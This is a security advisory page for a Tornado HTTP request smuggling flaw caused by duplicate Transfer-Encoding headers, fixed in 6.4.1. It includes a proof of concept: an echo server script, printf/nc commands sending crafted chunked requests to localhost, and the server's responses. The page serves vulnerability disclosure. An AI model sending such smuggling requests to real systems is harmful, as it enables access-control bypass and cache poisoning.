GHSA-753j-mpmx-qq6g

Suggest an improvement
Source
https://github.com/advisories/GHSA-753j-mpmx-qq6g
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-753j-mpmx-qq6g/GHSA-753j-mpmx-qq6g.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-753j-mpmx-qq6g
Related
Published
2024-06-06T21:41:20Z
Modified
2024-12-03T06:01:14.333396Z
Severity
  • 5.3 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N CVSS Calculator
Summary
Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado
Details

Summary

When Tornado receives a request with two Transfer-Encoding: chunked headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. Pound does this.

PoC

  1. Install Tornado.
  2. Start a simple Tornado server that echoes each received request's body:
    cat << EOF > server.py
    import asyncio
    import tornado
    
    class MainHandler(tornado.web.RequestHandler):
        def post(self):
            self.write(self.request.body)
    
    async def main():
        tornado.web.Application([(r"/", MainHandler)]).listen(8000)
        await asyncio.Event().wait()
    
    asyncio.run(main())
    EOF
    python3 server.py &
    
  3. Send a valid chunked request:
    printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
    
  4. Observe that the response is as expected:
    HTTP/1.1 200 OK
    Server: TornadoServer/6.3.3
    Content-Type: text/html; charset=UTF-8
    Date: Sat, 07 Oct 2023 17:32:05 GMT
    Content-Length: 1
    
    Z
    
  5. Send a request with two Transfer-Encoding: chunked headers:
    printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000
    
  6. Observe the strange response:
    HTTP/1.1 200 OK
    Server: TornadoServer/6.3.3
    Content-Type: text/html; charset=UTF-8
    Date: Sat, 07 Oct 2023 17:35:40 GMT
    Content-Length: 0
    
    HTTP/1.1 400 Bad Request
    
    
    This is because Tornado believes that the request has no message body, so it tries to interpret 1\r\nZ\r\n0\r\n\r\n as its own request, which causes a 400 response. With a little cleverness involving chunk-exts, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.

Impact

Anyone using Tornado behind a proxy that forwards requests containing multiple Transfer-Encoding: chunked headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.

Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-444"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-06T21:41:20Z"
}
References

Affected packages

PyPI / tornado

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
6.4.1

Affected versions

0.*

0.2

1.*

1.0
1.1
1.1.1
1.2
1.2.1

2.*

2.0
2.1
2.1.1
2.2
2.2.1
2.3
2.4
2.4.1

3.*

3.0
3.0.1
3.0.2
3.1
3.1.1
3.2
3.2.1
3.2.2

4.*

4.0
4.0.1
4.0.2
4.1b2
4.1
4.2b1
4.2
4.2.1
4.3b1
4.3b2
4.3
4.4b1
4.4
4.4.1
4.4.2
4.4.3
4.5b1
4.5b2
4.5
4.5.1
4.5.2
4.5.3

5.*

5.0a1
5.0b1
5.0
5.0.1
5.0.2
5.1b1
5.1
5.1.1

6.*

6.0a1
6.0b1
6.0
6.0.1
6.0.2
6.0.3
6.0.4
6.1b1
6.1b2
6.1
6.2b1
6.2b2
6.2
6.3b1
6.3
6.3.1
6.3.2
6.3.3
6.4b1
6.4

Database specific

{
    "last_known_affected_version_range": "<= 6.4.0"
}